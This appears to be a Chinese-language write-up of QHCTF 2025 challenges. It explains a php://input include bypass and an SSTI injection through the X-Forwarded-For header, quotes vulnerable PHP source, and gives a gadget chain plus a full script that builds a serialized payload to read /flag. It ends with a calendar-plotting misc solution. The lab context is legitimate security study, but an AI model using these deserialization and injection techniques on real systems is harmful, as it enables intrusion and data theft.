0x01前言
web
Easy_include
第一个题目的话就是简单的php代码审计题,include函数包含,用input伪协议去做就可以绕过对参数的flag过滤问题了
Web_IP
第二个问题看了一下发现ip那里是可控的,一开始没找到注入点,后面发现是在X-Forwarded-For里的ssti,传入{8*8}有回显64,确实存在ssti,然后传system命令执行就可以了
Web_pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php error_reporting(0); highlight_file(__FILE__); class Start{ public $name; protected $func; public function __destruct() { echo "Welcome to QHCTF 2025, ".$this->name; } public function __isset($var) { ($this->func)(); } } class Sec{ private $obj; private $var; public function __toString() { $this->obj->check($this->var); return "CTFers"; } public function __invoke() { echo file_get_contents('/flag'); } } class Easy{ public $cla; public function __call($fun, $var) { $this->cla = clone $var[0]; } } class eeee{ public $obj; public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } } if(isset($_POST['pop'])){ unserialize($_POST['pop']); }
|
一道很经典的反序列化题,先找到链子的入口和出口,出口就是那种恶意函数,这道题里面就是Sec类的file_get_contents()函数,入口就是construct或者destruct方法,链子写出来就是
1
| #Start::__destruct()->Sec::__toString()->Easy::__call()->eeee::__clone()->Start::__isset->Sec::__invoke()
|
那我们的payload就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class Start{ public $name; public $func; } class Sec{ public $obj; public $var; } class Easy{ public $cla; } class eeee{ public $obj; } $a = new Sec(); $b = new Start(); $b->func = $a; $c = new eeee(); $c->obj = $b; $d = new Sec(); $e = new Easy(); $d->obj = $e; $d->var = $c; $f = new Start(); $f->name = $d; echo serialize($f);
|
但是问题在于这里的clone怎么去触发,这里的话就是通过__toString()中的函数调用去显示clone,直接触发就可以,那么这里的var要设置成eeee
misc
QHCTF For Year 2025
之前做过类似的misc题目,以-为分界线去分割数据,然后将每组数据两两分开,根据数据中可以看到最大的数是31,我们按照数字去在日历中描出来然后连接就可以看到flag了
QGCTF{FUN}